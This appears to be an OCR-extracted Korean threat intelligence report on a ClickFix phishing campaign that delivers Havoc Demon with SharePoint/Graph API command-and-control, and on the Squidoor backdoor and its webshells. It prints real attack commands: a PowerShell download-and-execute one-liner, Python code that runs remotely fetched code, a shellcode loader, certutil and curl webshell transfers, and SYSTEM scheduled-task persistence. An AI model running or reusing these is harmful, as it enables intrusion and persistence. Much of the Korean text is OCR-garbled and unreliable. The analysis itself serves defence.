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ol 24

S4 M Q2 HTML Lt 20| HEE O O|H =R A|AE|0, ZHEHSH
MY} 218 0| XS ALZSI0] SR MR THUS HIR AEE S5y
Subject Critical Update

| Message @ Documents.html

Dear

A restricted notice is available for your review. The attached file "Documents” contains all necessary information.
Please address it immediately to avoid operational challenges.

Heartfelt Thanks

Marketing Director

schubel.info

lastfm @schubel.info

The content of this email is confidential and intended for the recipient specified in message only.It is strictly forbidden to share
any part of this message with any third party, without a written consent of the sender. If you received this message by mistake,
please reply to this message and follow with its deletion, so that we can ensure such a mistake does not occur in the future.

(AR
AES 9o ME BXIS HUHSYUCH HRE T “2AP0| LRI BE YuIt T3tE|of YSLICE
Y| BT LS| REE FA| I ZSHAI7| HIFLIC,

DYoo ZAEFLI

OtA| & OJ AL
lastfm@schubel.info
Ol ol el &2 7| o|of HAIXK|Of BAIE =AIXpOjA 2 MEELICE ZAXe] MB F2| 80| 0
HAIXIS] YFE M 3 A2t SROt= A2 AAHS| SR [0 ASLEL 22 O] HAIX|E =4 2

o= of2fet et TUSHA| =S Of HA|X|Of EFESHL o & HAIX|E MRS F=A[7] BHEL|CE
[AHEE I O[H Y (7f) / HATH LHE (OF2H) ]

_I_:

ME 042 “Documents.html”"S 7tR @& HA|X|QF HTML QL2 S AR S0
Al"g' f% z—'|\_0|—_ll—, Qll'k| PowerShell Doiacﬂ% %Al"6|-02| PowerShell O|L|- E1D|'£01|
=20 20 IS HHSI=Ft= ClickFix 342 A2

Error 0x8004de86

Failed to connect to the "One Drive" cloud service, to fix the error, you need to

update the DNS cache manually.

m De:a‘is

[E38EE 7R 2F HAIX] ]
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Error 0x8004de86

Use %8 + X keyboard shortcut, and then use "Windows Powershell/Terminal", click
"Ctrl + V" & "Enter" in the appeared window.

[ PowerShell EE& HO|E0| SAl-20 27|18 FEot= HAIX] ]
Documenthtm!| ZtYL2| AAAE 0= Base64 £ QAT = EXLEO| J=0,
C|ZY Z1} PowerShell A EE CIREZESID HASI= PowerShell @S

2ol 7ts.

function () |

var Yi = doecument.getElenantByld( ).
Yi.nelecz ()
jocument . execComsand ( )
window.getSselection() .removeAllRanges();
}
S J.on(' , function()|(
JE() :
N ‘Y.hidet):
St ) .show();
=4 | ) .hide();
b))
- ¢ ) .ont , function()(
window.open ( ’ )
13
S (document) . ready(function!)

var ide =

ar vO = glob(ioe) ]

- | ). valivo) .

powershell -w h -c "iwr
'hxxps://hao771[.]sharepoint.com/_layouts/15/download.aspx?share=EU7smZuKo-
pDixZ26BSAaX0BVVcF5VkOc7qEvjsDSAHI0Q|iex"

[ Document.html 2ATE AL (2]) / Base64 C|A T AL} (OF2f) ]
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+ LR EEL|= PowerShell 23 E E It “payload_20250112_074319.ps1"2
SharePoint & &%l CH2=2EE|0, SZ4X7F M O
+ AJEHE AW A 20 e HAFH =8 =2QI510] AW 2-40| MEHEAQIX]
OIS, Y X|AEE| HAE "HKCU:WSoftware#Microsoft" 0| A O|£0] “zr "2
AESHE BEE HAAEL g5 AXet = XEE £482 48 OFAHE ot
$isSandbox = S$false
$domainPCs = (cmd.exe /c net group " ' fdomain | find /c /v "").Trim()

-
)

if ([int]S$domainPCs -1t 10) { S$isSandbox true

if ($issandbox) { exit }
Get-Item -Path ' : |
Get-ItemProperty |
ForEach-Object {
$_.PSObject.Properties
Where-Object { $_.Name
ForEach-Object {

|
-like '

Select-Object * -ExcludeProperty PSPath,PSParentPath,PSChildName,PSDrive,PSProvider

Remove-ItemProperty =-Path -Name $_.Name -Force
}
}
SregistryPath =
S$registryName =
Set-ItemProperty -Path $registryPath -Name S$registryName -Value -Force
[ PowerShell 23 EE L8 (MESA ojmf 81 4 O 7t 7]5) ]
+ 1 Chg, A3 EE= "pythonwexe” IHYL| EXf O£ E =QI5H=0|, =QlL|X| R H,
Python QIE{Z2|E{2 CHR 2811, 2QIE AL, Python ATEES XT A,
= o -+ S o A [e]
+ OX9e 2z oy Python 23 EES CI22ESH0] ofd 255 =771 I

74T Zol4 4

S$extractTo
SpythonExe

Joln Path $extractTo "

$pythonInstalled = ((Test-Path SpythonExe) -and (Get-Process -Name "
if (-not SpythonInstalled) {
try {
$pythonUrl

" -ErrorAction SilentlyContinue))

$pythonzip

$xhr = New-Object -ComObject MSXML2.XMLHTTP
Sxhr.open (" , SpythonuUrl, $false)
$xhr.send ()

catch {
Write-Error $_.Exception.Message
exit 1
}
}
try {
$psi = New-Object System.Diagnostics.ProcessStartInfo

Spsi.FileName = .-pythonExA
vpsl Arguments = import urllib. request ssl;url=

context-ssl

create unverlfled context() exec(urlllb request urlopen(url, context-context)

read()-decode("

S$psi.UseshellExecute = $false
$psi.CreateNoWindow = utrun
$psi.WindowsStyle = '

$process [System.Diagnostics.Process]:
Snull = S$process.Handle

:Start (Spsi)

}

catch {
Write-Error
exit 1

-

$_.Exception.Message

[ PowerShell A3 EE A& (Python AJZE CI2EE 3

Al

2 7]

orr

)]
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+ CIREZEL|= Python 23R EE Po

SharePoint 2R CIRZE £, H3CE 24 ges g
+ Y ASZEOM 2fAOLZ FYE ClH HEE &olg
+ EO/20|M Python QIE{ZZ|EE AIRSI0] AR EES RF A

"BoigeneHue namatn(Hl 22| &), “3anuck B namats(2ZE H A

“3aBeplueHue BbinosHeHWs ckpunTa(AIEE Ml 2tF) 7 Xt

werShell 23 EQ} OtXI7IX| 2 S LSH

import ctypes

from ctypes import wintypes
import platform

import logging

import time

import sys
sys.dont_write_bytecode = True
# HacTpoika JIOTTUPOBAHUA
logging.basicConfig(level=logging.DEBUG, format='
logger = logging.getLogger (_ name_ )

Hdef allocate memory(payload len):
Hdef write memory(base address, payload, payload len):
def execute_shellcode (base_address):

logger.info ("Bumn IeHU b '

shell func_type = ctypes.CFUNCTYPE (None)
shell func = shell_func_type (ctypes.cast (base_address, ctypes.c_void_p) .value)
shell_ func()

Hldef main() :

[T 4¥S 9% Python A3

[m

+ Kaynldr 2 YH|CI= DLL 2 HAINCZ 2SI E A & GitHub AR
o

ZHZ, 8z DIB2 EIE[SE AF80I0 API Y22 45 ofg7] 2=,
Hz2a2 2 & oES ?Is sHZE ntdll API AMEE.
R DA LR

jbe ZSGELSCOZZE

]

ra
imp ZSSEISCDZ7B

ProtectvirtualMmemory sar r
and
add
jmp 266E1SCOIDE

[ KaynLDR @3 E ZHE AESH DLL A

o
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C) _L_ S }i £2
Ol 34 L0 SZAX7F Havoc & Microsoft Graph APl 2t 74 A
”*If El= MH[A WOIM C2 84S &7]= 40| =HlE
LS A AlH I-O'IA C2 = O |_Z-\|O %!'l_lcl
" n SkA =
H &l Havoc Demon DLL 2 21} OE7EX| 2 “Demonlnit” &2 A|ZSHLD,
= H | ot |_7<_° |-R |.o:| o os = 74A "'I. A
KaynLdrl'f s ot SA| Ha2[ES A L Q% API & ZHMStD 1
ZH |_E |"'|.'6'I-
HHS shet.
<DemonMain>
push rdi
mov r8,rcx
xor eax,eax
mov ecx,2B3
sub rsp
Jea rd‘,qhord ptr s sp+24
rep stosd
lea rax,qword ptr ss sp+243
mov rcx,rs
mov qword ptr ds:[<Instance>],rax ; O000026G6E18583C3: "dSF"
€all <DemonInit>
mcall <SharePointC2Init>
test eax,eax
mov rax, q“ord ptr ds:[<Instance>] 00000266E18583C8: "déEH"
jne 266518476AE
o
i (A WS TN R
¥ ¥
00000266E1847 GAE 00000266E1847 69D
mov edx,1 XOr ecx,ecx
mov rcx,rax €am gword ptr ds:[rax+Fe]
€all <DemonMetaData> add rsp,AFO
call <DemonRoutine> pop rdi
push ri2 ; DemonMetaData ret
xor eax,eax
xor. ciod ~104d
@4y Dump 1 YyDump2 @WDump3 @WDump4 @Dump5 @9 Watch1 [x=] Locals 7 Stroct
Address Hex
$ = 00 00 00 00|00 00 00 00|00 00 0O 00|00
$+10 Q0 00 84 E1166 02 00 00|00 DO 01 00|00
$+20 66 02 00 00|00 72 01 OO|EA B9 06 1D |00
$+30 60 1A 00 00|CC 18 00 00|00 00 00 00|09 O
$+40 0OA 00 00 00|02 00 00 00(0S 00 00 00|00
$+50 00 00 00 00|00 00 00 00|01 00 00 00|00
$+60 01 00 00 00({01 00 00 00(01 01 00 00|00
$+70 AE 6B F8 7F|00 00 00 00|00 00 00 00|00 OC
$+80 00 00 02 00|00 00 02 00|00 00 00 E1|60
$+90 00 00 20 DF|60 E1 66 02|00 00 02 00|00
$+A0 00 00 00 00|00 00 00 00|00 00 00 00|00
$+B0 00 00 00 00|00 OO BO 26|AE 6B F8 7F |00
$+CO B4 6B F8 7F|00 00 A0 F2|AC 6B F8 7F|00
$+D0 AC 6B F8 7F|00 00 40 7E|AD 6B F8 7F |00 00
$+EO B3 6B F8 7F|00 00 90 E8|BO 6B F8 7F|00 OC
$+FO AE 6B F8 7F |00 00 AO A3|B1 6B F8 7F|00 00 30 CB
[ Havoc Demon DLL 2| DemonMain 3 ZAH=l API ]
| L ] . s O . -
£ HE 7|52l “SharePointC2Init"2 Microsoft APl & AFE5I0| 54Xt
H ol = Sl
SharePoint Of| ufa S X7|3}bgt
B~ - _I_ —_] e —
C 3 C| |E||4° b |u- HH |.7=Iol- S
MK, stE3YE 37 HLYWS POST SEO| Zas 0f7H;0t st 7,

Microsoft Graph API O CHSE M A EZS A 7| 2[8l Microsoft Identity

Platform 2| “/token” A EZOIEZ QHE

HEH

g TTTEOUD_F7EGU000 TEX ToTTOT T
° C60403 00 mov
. 48: 8005 AEE60000 Tea
. 48:894424 40 mov
. 48:8005 Acssooou lea r ne.com
° 48:894424 mov ptr
© ES 74100000 cnl] <StringLengthA>
° 4C:89E1 mov rex,riz
° 4C:896424 68 mov aword ptr s
. 49:8D0446 lea rax,qword 2)
. 48:894424 50 mov gword ptr
. 48:88 anxoooooloooo mov rax,1000
o 48:894424 mov qword ptr
o 48:8D4424 zs Iea rax, q“ord
. 48:894424 58 ov_qword ptr
. E8 457D0000 cnl] <str1ngLengthA>
o aa:so-acz-t 38 lea rcx,
. 48: 8! mov rdx,rbp
. 394424 70 mov_dword ptr ss:firsp+70J, eax
0|l E8 54200000 €all <sendAndReceivePacket>
< >
FCX=00000093FEDFDEOS
12=00000093FEDFE1B0 "client_id=139c01d5-5F11-4d18-92f 1 P tp: graph.microsoft. coms2F. defaultaclient_secret=7Pw8Q~~8rQmFkezvz3byul
. —_—
C3cCclE| 2O ||:||o SkS|E oH -”A =1 P
[ Or———L-C)LJ S HE=S £ L} MM~ EZE QF ]
4] 1O IUI . Oof EA (}” af C} |- |-0-||7-”EI o] 3 ;IX OI-"""l. | CC -” | .|
[]O'ITHE(Sharedsecret).El_I- c>|_| |_}'|_E|_| oAX |_|-EE|_I 022 7 —l—|_EOE
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CtSo 2 2ESH EES AMSIH PUT RH S E9l SharePoint 2| 7|2 A
20| E 220 & 7He| mi S Mo,

PUT /v1.@/sites/hao771.sharepoint.com,9ca2la8e-2641-4d60-a784- a
a/cbbfb9b021,a01d5860-1d5f-4f03-abc5-add73aaf25c@/drive/root: /

VictimID pD9-tKout:/content HTTP/1.1

Connection: Keep-Alive

Content-Type: application/octet-stream

Authorization: Bearer

User-Agent: Mozilla/5.0
Content-Length: ©
Host: graph.microsoft.com

[RE SC0) Tty 44 |

Havoc AgentlD £ Tt HO Z VictimID & 4-d5t1, of2fiet 20| HO|At

u " 7] O = (=]
pD9-tKout” EE= “pD9-tKin"2 20| S5 S LtEHH.
ol Ad
{VictimID}pD9-tKout | I[3HAtS| HEE TE5t= O ALE
{VictimID}pD9-tKin C2 HEE A%t= O AHE
C2 2 M&EE X7| 11Zl2 "DemonMetaData” S0 A =%/t HO|HE
—_ g L = = =
ESHSt= Checkin 80|, O] EHAIO|A = SAE O|&, AR Xt 0|5, =0 €l
= =~ iL =] o = =
0|, IP =&, ZEMNA NE EE, OS &, ALEX0A &2 Hote| AE EXY
=] o 11| S
Ol &, Demon DLL O] #+/ 81t 22 IDsiAte| BEII C2 AHE H&SE.
DE HHEXE AES-256 & 102|50| CTR ZEE AFESI0 Aol Qo=
o
M El 32 bytes 7|2t 16 bytes 2| 7| HIE{ 7} UAZ.
o o - o L
SICIQt A2t=l =, “TransportSend” 7|62 S8l C2 MHE MESE.
§ => 00 Ol 00 00 00 ©3] ....P,%1,A<0...c|! 58
$+10 00 00 00 00 AES KEY voos JEITIO+bmMA. X | [ Agent
£+20 o ' RS ' EREifsns == ) I.A.UXE'.éGL_IO‘-\'.. 3
$+30 p ¢ LmAt, L. 0..0,.."
£+40 AES.IV .RFQ..*.Quo.Nn... E:
$+50 B2.n2 S 2 AR ~~|DD 83 64 26| 10-@14R. .. Y. d&|Aes Enc
$+60 01 A6 36 FO|7C 05 81 A8|1F 8A 31 24|73 7B B5 AC|..60|.. ..ls'sluﬁ
$+70 FC 37 D5 D7 |5A B9 23 AB|OE 11 8C DC|08 C3 84 FC u.‘Oxz‘t«...u. .U
$+80 67 C6 4A CO|D8 9A F7 A2(83 91 99 DC|AC 74 90 24| gAIAG.+¢...U-T.$
$+90 AE A2 60 3F|24 F5 71 5C|EO 68 27 C7|B8 46 FA 96|°¢ ’SOq'-.a{"C,Fu;
$+A0 11 1B 19 90|74 99 4C 21|(BA F9 B2 24|4E E4 69 EE|....T.L!°u"SNai11
$+B0O A2 OD 7A E5|11 C9 B6 4E|5C 4E 1A AD |30 B6 98 BE ‘C.Za.ET!P\'AN..Oﬂ.*
$+CO D9 33 7F 7A|BF D5 8E S5A|06 41 01 AD 23 88 86 DA U3.2¢0_.Z.A..l..u
$+DO OE 17 7D 39|E9 DO CO 68(C7 7F 7A 74|3F F8 6F A2 ..}9e£}AhC_.zt'-‘ooc
$+E0 D2 CF ED OA|(F7 DD 94 B1|7F DO 63 44|77 BA 58 1A 011.+Y.§,Dc0wfx.
£+FO0 4C 96 80 A4|3D 7C 25 AF|75 4D 7B 9A |12 E2 BS 84 L,.==}‘_r uv-'{..au.
$+100 BF 7D 26 4F|AE 32 E3 70|A0 00 8F AD|6D A2 00 00| }&0%2ap ...me¢.. |,

[ Havoc GitHub Off CH?}F Checkin 88 Sl HELH|O|Ef F+& ]
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TransportSend 7|52 282 {VictimID}pD9-tKout Lt 0f| AC|0|Est CHS
Microsoft Graph APl & A% GET HIMEZR C2 (M S &S HAMSI0
{VictilD}pD9-tKin Lt 22| L§E0f KMot T = E.

SEO| HAME|H (VictiD}pD9-tKin It o] LH0| FA| XA,

L‘ mov r8d, 800h
v sub r8, rsi =
] lea  rex, [rateraxs2) FetchinFile
mov rdx, ri4
loc_271D870267F : il i e
mov rax, [rdi] mov rex, rl3
mov r8d, [rbx+8] }ea rz, a\[/l@[)r;;;s?ltem :
ea rdx, [rax+988h
i rdx, [rbx] lea r9, [rax+938h]
lea rcx, [rax+0A38h] ; Out R [rep+38hivar-18],. Fdx
call updateFileContent mov edx, 104h
test eax, eax | call quord ptr [rax+5E6h]
jz short loc_271D870267F B S ewpRLLES
lea rcx, [rsp+38h+arg_3C]
mov [rsp+38h+arg_44], rax
G@'@ lea rax, fEraphMicrosoft ;"8
= % mov [rsp+38h+arg_4C], rax
test rsi, rsi mov rax, 100000188h
jz short loc_271D87026B5 mov [rsp+38h+arg 64], rax
T lea rax, [rsp+l]
—J—* 1 mov [rsp+38h+arg_54], rl3
- mov [rsp+38h+arg_5C], rax
! call  SendAndReceivePacket ; Download the contents of the file (In)
test eax, eax
loc_271D870269E: jz loc_271D86FB4F1 ~
rcx, rsi f 4
FetchInFile ==
eax, eax cmp dword ptr [rbp+8], @
j short loc_271D870269E iz Joca2/1DEaEEEs
T L — ] :
;I YYVvYy L
s =
rex, [rbx]
loc_271D86FB4F1: r8d, r8d
xor eax, eax rdx, unk_271D8709436
loc_271D86FBSF8 rcx, 988h 5 In
updateFileContent ; Erase file contents (In)
eax, 1
J
A S e
[ =°8 & TransportSend 24 & FetchinFile 2= ]

o SELE:F()' H SELEEL r | 4‘*()1 Ql |4-¥ " H "
CHEo 2, SHO LH82 AgentlD 2+ H|8t0] YX|SHH “session.connected
= MMED, BAX S| M A 7|CHa|7| QI8h CIATHY SO QY
SOl 7 A™E| D, AKX A ZAS 7|CHE| 7| QI8 ClATHY EElo ZIQL.

A—H _I = | _I O_" | I_ n " o H O |:|-O EI_
CIATHA ZEIO|AM 0|0|ME L= “Get Job” 2B S HL FFID 2%

E =
ID, Moz {13 22 +ASIH, ofziet Z0| ”DEI\/ION_COMMAND_NO_JOB
i f OLt CtE HH ID 7 EXMSta Z 2 1O A] OxA 7t

Ottl B2 A Y0| ==t dHECHs A0] EHE.

—

Protocol Length Info

TCcP 1500 52478 - 443 [PSH, ACK] Seq=7291 Ack=6893 Win=8228 Len=1446 [TCP segment of a reassembled PDU]

HTTP 1038 GET /_layouts/15/download.aspx?Uniqueld=299alalf-abaf-4d62-b9b5-656956b9476c&Translate=false&tempaut]
TCP 1500 443 > 52478 [PSH, ACK] Seq=6893 Ack=9721 Win=64351 Len=1446 [TCP segment of a reassembled PDU]

HTTP 917 HTTP/1.1 200 OK

< >

docID: hao771.sharepoint.com_9ca2la8e-2641-4d60-a784-a7¢cbbfb9b021_299alalf-abaf-4d62-b9b5-656956b9476c\r\n
X-Download-Options: noopen\r\n

Content-Disposition: attachment;filename*=utf-8* '_pD9%2[)tKin;filename="_p09—tKin"\r\n

CTag: {299A1A1F-ABAF-4D62-B9B5-656956B9476C},4,4\r\n

66 20 42 3a 20 59 54 4f 32 32 31 30 39 30 38 31 f B: YTO 22109081
32 30 33 37 20 52 65 66 20 43 3a 20 32 30 32 35 2037 Ref C: 2025
2d 30 31 2d 31 37 54 31 32 3a 31 31 3a 34 31 5a  -01-17T1 2:11:41Z
@d @a 44 61 74 65 3a 20 46 72 69 2c 20 31 37 20 Date: Fri, 17
4a 61 6e 20 32 30 32 35 20 31 32 3a 31 31 3a 34 Jan 2025 12:11:4

08f0 31 20 47 4d 54 @d 0a od @a Pa ae 00 00 00 00 00 1 GMT f]eeee--

0900 @@ GO @O @O @0 ...

[ {VictimID}pD9-tKin It HAA ]
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Do43=|

o

rlo

+ XY= Otz 2t Z 0| Havoc GitHub S| H&H 1
HE 3, o &g, 3d S Ho|EE HY, EE

o 1T dH, ©oo - [ R Y
cmp edi, 0Ah ; DEMON_COMMAND_NO_J08 DemonCommand dq 11
jz short loc_271D86F28BA dq offset COMMAND_SLEEP
dq 100
= ¥ dq offset COMMAND_CHECKIN
(a2 dq 21
mov  r8d, [rsp+0CBheTaskBufferSize] dq offset COMMAND_J0B
test r8d, r8d dq 1016h
jz short loc_271D86F289C dq offset COMMAND_PROC
dq 12
I} : dq offset COMMAND_PROC_LIST
"™E dq 15
— dq offset COMMAND_FS
v rcx, rop ; uFlags L
Parpiriay 2
Fars bosi sy dq offset COMMAND_INLINE_EXECUTE
wov  rax, [rsi] Ao - !
s Nk D) » dq offset COMMAND_ASSEMBLY_INLINE_EXECUTE
mov  rdx, [rax+BAh] ; AES.Key d 2003
wov r8, [rax+@Ath] ; AES.IV dq offset COMMAND_ASSEMBLY_VERSIONS
call ParserDecrypt dq 2500
;P ) dq offset COMMAND_CONFIG
— dq 2510
e dq offset COMMAND_SCREENSHOT
dq 2520
loc_271086F289C: dq offset COMMAND_PIVOT
lea rax, DemonCommand dq 2100
T dq offset COMMAND_NET
(R} dq 22
el dq offset COMMAND_INJECT_DLL
dq 24
loc_271086F28A3: ; Function dq offset COMMAND_INJECT_SHELLCODE
mov rdx, [rax+8] dq 26
reg. S e dq offset COMMAND_SPAWN_DLL
iz short loc_271D86F288A dq 48 ’
— dq offset COMMAND_TOKEN
= ) dq 2530
"IE] :: offset COMUAND_TRANSFER
sad it B IR ) dq offset COMMAND_SOCKET
cmp  edi, [rax-10h] ; ID da 2550
jnz  short loc_271D86F28A3 da offset COMMAND_KERBEROS
dq 2560
. dq offset COMMAND_MEM FILE
I dq 92
mov ___ rcx, rbp dq offset COMMAND_EXTT
J p
AR

[ Demon A S HASHY| ¢

e

712 7|

olr

1.1.4 A3l X|&E (Indicators of Compromise)

Indicator type Indicator

Domain hao771[.Jsharepoint[.Jcom

FileHash-SHA256

51796effe230d9eca8ec33eb17de9c27e9e96ab52e788e3a9965528be2902330

989f58c86343704f143c0d9e16893fad98843b932740b113e8b2f8376859d2dd

A5210aaa9%eb51e866d9c2ef17f55c0526732eacb1a412b910394b6b51246b7da

cc151456¢f7df7ff43113e5f82c4ce89434ab40e68cd6fb362e4ae4f70ce65b3

1.1.5 LS 7I0| =

2 10C A0 YAE HRo| 50l Y2 YT W 5 A
o EHX| 2 A A%

oz
N
or
rot
HI
0
k>
u
r>—
mjo

THE JOIM AMEEl= QHE| HiO[2 A 23S & 4H

—

=
AMEElE O Z2[A 0] E= 2 SHAO| Choto] =4l Tf H

> A

mu |o
02 4o

¥

—

1.1.6 1 Xtz

https://www.fortinet.com/blog/threat-research/havoc-sharepoint-with-microsoft-
graph-api-turns-into-fud-c2
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1.2 Squidoor B 09| CtAot C2 41 7| §

121 7|19 E A 29f

+

7|2 E: Squidoor, WebShell, Backdoor

+ Q09 Cjdot ZEESE AESI0] C2 °F &4I5t= Squidoor B & 0

122 ¢ 2%

+

A2, SHOtAOteL 0| FFo| =, S, s A & 205 54 Hde=
She "CL-STA-0049"2 A|HEl o4
0

Al sl oty 2
7 tjatel B ot siT TR0l 19 Z2Y L JHQlof

= = T L = 7] H " L ol =
O 2fd S AHO| CHst 34X X2 LAHE “Squidoor'el= Must HE O E
B~ | o e

AHESt o, ST B2 0f= Windows 2F Linux A|[2EES 25 o= &

- E - | —]
ol BHXIE 2m(sto] C2 oF S41517] I8 Outlook API, DNS Ef2 &, ICMP
EE3s Zgct 0l Z2EEZS AFEE

= H o = = 1 _ < = =
TTP O CHSt 2M S HIZ 2R, O] E&0f tiet SHX= 372 siE AE2=
=
g
1 Login: Microsoft
_, identity platform
Squidoor\ounook 3 N—
EsT APT E;::;s>—£2-r-w§—%';3}§->- p {random generated number}
subject: ,,7»/{‘\—,,_ )
Found Not Found
J s X 5

2 Pastebin Retrieve content Sending P_{random_generated_ number} /\

(Tracking number Srdeleterenall Querying for r_ {random_generated number} /

of connections) y S ¢

\.\ If found ,// Guatying until
o M 6 finding an email

[ Outlook API & At&%t Squidoor 2| &4 &

ol

]
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SECUI

+ SAXE FER S MHL FAYHES AESHALH, o2 7| EAPS Hi=Zg!
+ OlZjet @a2 X&5Hel HE0] s o5t S A7 Lo Al "o Chet
22 RASHH 82 48 = A=E .
+ =4 &, ofgier Z2 nele| =8 Aol golE
OutlookDC.aspx Error.aspx (1)
Error.aspx (2) TimeoutAPl.aspx
, Yel HELZ

+ HEE YHSS 01D QAR HOE HOf, B IR WA 4
I NE=]

@ PagE LaNguAge

string kisssy 278 6
byte[ ]ddaattttta = new @ System @ Security

@ Cryptography @
RijndaelManaged @ CreateDecryptor

@ Text
) Encoding @ Default
@ GetBytes kisssy

) System @ Text
@ Encoding @ Default
@ GetBytes kisssy
) TransformFinalBlock @ Context

@ Request
BinaryRead @ Context
) Request @ ContentLength
) @ Context
Request @ ContentLength
if @ Context Session "0a" null
@ Context Session
@ System @ Reflection
@ Assembly

+ SZXh= "bashupload[Jcom”0 €& &= XMZ5t1, or2f FZFut Z0
"certutil’E ArESH EAS CHR2E 2 |2

+ "Bashupload”= AFEA}7F Command Line 2 AMESH0] OiY S P=ESHD CHE
MHZ CRZ2EY = U F SiF= & OfE 2| 0] M.

certutil -urlcache -split -f https://bashupload.com/LXDoj/error.aspx
"C:/Program Files/Microsoft/Exchange Server/V1S/FrontEnd/HttpProxy/owa

/auth/error.aspx"

[ certutil 2 AH850] AZS OHREESH:E Y ]

51 ¢/8 (Web Shell): & MO Yolo] HHZ MAMT = U= HM&SH =203
©1 M3 ALE(Junk Code): MAEOQl 7|58 8= ZENZ HO|X|BH MK A2X0l 28 T2 1A=

sact 7|so[Lt Y S MSSHA| = 2=
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2, 34X A& S o2 MO /2o 0[F0| =elE.
o ZH0| “curl"It “Impacket’S AF2SI & =
E QSME 7|12 WMIME AHESH0] CHE MHOf| SA
AN

‘ Downloading a
certutil -urlcache -split -f https://bashupload.com/ /error.aspx \l/;/el;shelll f':m
(o] (® "C:/Program Files/Microsoft/Exchange / AHPION

Server/V15/FrontEnd/HttpProxy/owa/auth/error.aspx"

1.179.227.52 = WmiPrvSE.exe cmd.exe

cmd.exe /Q /c copy C:\Users\ \OutlookDC.aspx “C:/Program
O ) (® Files/Microsoft/Exchange Server/V15/FrontEnd/HttpProxy/owa/auth/" \
— 1>\\127.0.0.1\ADMIN$\__1731838001.53 2>&1
1.179.227.52 = WmiPrvSE.exe cmd.exe Copy a webshell to the
él owa/auth directory
cmd.exe /Q /c echo ----- BEGIN CERTIFICATE-----
4 PCVAIFBhZ2UgTGFuZ3VhZ2U9lkMjliU+PCVO0cnl7c3RyaW5nIGtleSA9ICImZWY1ZG
o @a VKNDI3ZDY5MDQ4ljtieXRIW10gZGFOYSA9IGS5IdyBTeXNOZW0OuU2VjdXJpdHkuQ3)
5cHRvVZ3JhcGh5LIpam5kYWVsTWFu<cropped> =----- END CERTIFICATE----- >
. : Axt 1> \\127.0.0.1\ADMIN$\__1733823441.5814192 2>&1
1.179.227.52 = WmiPrvSE.exe cmd.exe

i? M d bshell
A K asquerade a webshe
‘ as a certificate

\ cmd.exe /Q /c curl -X POST https:// / /= .php -F
S (® "fileToUpload=@errorEF.aspx” 1> \\127.0.0.1\ADMIN$\__ 6\
- 1734262652.418979 2> &1
1.179.227.52 = WmiPrvSE.exe cmd.exe Uploading a webshell to the target's website

[ Palo Alto Networks it 2| Cortex MZE0|A &0lE|= Y& CHREZE U EAF AL ]

AKXt =2 AL B Y2 0| = “Squidoor(aka. FinalDraft)" 2t =2|=
Ut MZEE HEO 2, SHXNS2 T2 Ot 242 Xz A8
- XEd 7R

.
+ 3
~

r2
o
n

o
AAteto] HRLAOMM ME &Y
4 el g 82 2

Okl Ok ¥

74
Squidoor & Windows 2} Linux 2 BXHEE HHMO| EX{t= CHE
R =xeJ Z\O| g|-O|EI

AEIETE C2 MH et SAStER Fd5t= O AHE8E =
EEE% ol Bt S x| 330, Windows H

NSt Linux 2 9 7HX| 2 EZ XS
C2 ef9| 2IF sils flet

=y 2
/3 LJof| EXYSH= Squidoor YEZE Zto| LE SA2 ¢

+
=

ki
s rot
Ok

[¢)

+
%
e
c.
Q
o)
o)
-

g

o

[m 4r ro o9
)
N
Ral
OE
mlo

+
ne

A

71 WMI(Windows Management Instrumentation): Windows 7|8t 2 X X0 A HO|E 22| &
AAS fITH AIAE &2 7=
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+ Squidoor = Ot2fet 22 HHE =4l 7ts
. ZQE HFHO| o Y& =T
- ool HH MY
- Ed ZEN20| HolEE FY
- Fltholze MY
+ Of2f 122 Squidoor 0| ZHYEl HEQF Ol EAl AZE LIEILH Clojojao 2
A 2O E fIoh LHREH220 SASIEE FAdE WAl dFe
X
H 8 u 8 |
‘:I4"'”“"/ Variant ~1§¥¢5 v\x\ ﬁﬂﬁe \\_J £%E;¥Bf*/;
P Y
R/ \ N Blind SMB’ ';.;""alindrcp : ‘B:}';:’,:,ﬁp
‘.-- Varjba’n’tlv \\-‘ Variant‘ % ENa
e . - -1-]
Variant gy
[ Squidoor 0| ZEE HEXIS| 4l 42 Al ]
+ SZXHE Squidoor & HHBH7| 25K “cdb.exe”2tH= Microsoft Console Debugger £
ArESHY =0, Ol= 0% == A& LOLBASE 7|=.
+ 3ZAX= HYE A0 cdb.exe & MESID "CWProgramDataWfontdrvhost.exe”
ENY ZF HI22of A3EE 2ot M= O AT
AlS

+ A Al, cdb.exe(fontdrvhost.exe)= config.ini 2t= LM BIEE EE,
+ W HM AH T, SHX= Squidoor 2| HO|ZE F SHLHE AHESHO

"wmsetup.log”2f= THHO0AM CHE Squidoor YEHEE ZESHT 529t

>

First Execution of Squidoor Second Execution of Squidoor
Loads 3 2 Loaded ! 2
Squidoor /,»—\\ Loads : Squidoor DeliversLof:‘SheHCOde,- x64.d11
DLL o 4 N\ Shellcode : DLL o ©'2 " (Loaded into
aN \ | aN\ "= mspaint.exe)
) i 3 \
fontdrvhost.exe ) (Contains the | fontdrvhost.exe P . ) @&
. / Squidoor : 3 N
Original name: \\ — payload) Original name: / Reads
cdb.exe \ : cdb.exe Loads Shellcode
\ ] wmsetup.log from wmsetup.log
\, Reads '
\ & (Contains the Using
X / Squidoor payload) LoadShellcode.x64.d11
Config.ini
(contains the
shell code)

[ Squidoor & EESI= A =

ajn

]

8 LOLBAS(Living Off The Land Binaries and Scripts): Windows 0| 7|22 2 IZ3HEl
I 2% (Binaries, Scripts)2 A5 2d HRE =ASt= 7|
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Squidoor 2| X|& 42 "MicrosoftWWindowsWApp|DWEPolicyanager” 2=
O of=l 2SS AHESIY H-GEH, ofeliet 22 BHe = ofofEl 2SS 44,

C:\Windows\system32\cmd.exe /C schtasks /create /RL HIGHEST /F
/tn "\Microsoft\Windows\AppID\EPolicyManager" /tr

C:\ProgramData\fontdrvhost.exe -cf C:\ProgramData\config.ini -o
C:\ProgramData\fontdrvhost.exe" /sc MINUTE /mo 1 /RU SYSTEM

[Olefsl g 48 380 ]

Squidoor 7t H22[0f =

-
Squidoor o] A% SEL SIEAEE LM E535l= HAOZ A|ZtE
Squidoor 2] T+ 40f= ALY 4 HHZ Z2785t= switch-case 20| siE =
o, HYE AYIALO et AFREX| Y=

CH S:XH0~9)7 E3HE|Of
CHE 7 WETH EXE 4

ol2{3t TEO|E C2 AH{ote] SAI0| TR Zto| ZE M, 0= ALgOHs
S0 o et ey,
[}

ol2f3t ZHoll EBQL IP T, 4 BE, YB3 7|, M2 E20| T,

1 I [ g
Squidoor 2| Windows H{Z12 Of2f|e} 20| C2 412 fet 10 7HX| 2 S X|&.
Switch-Case s 2~ oj= My
HS
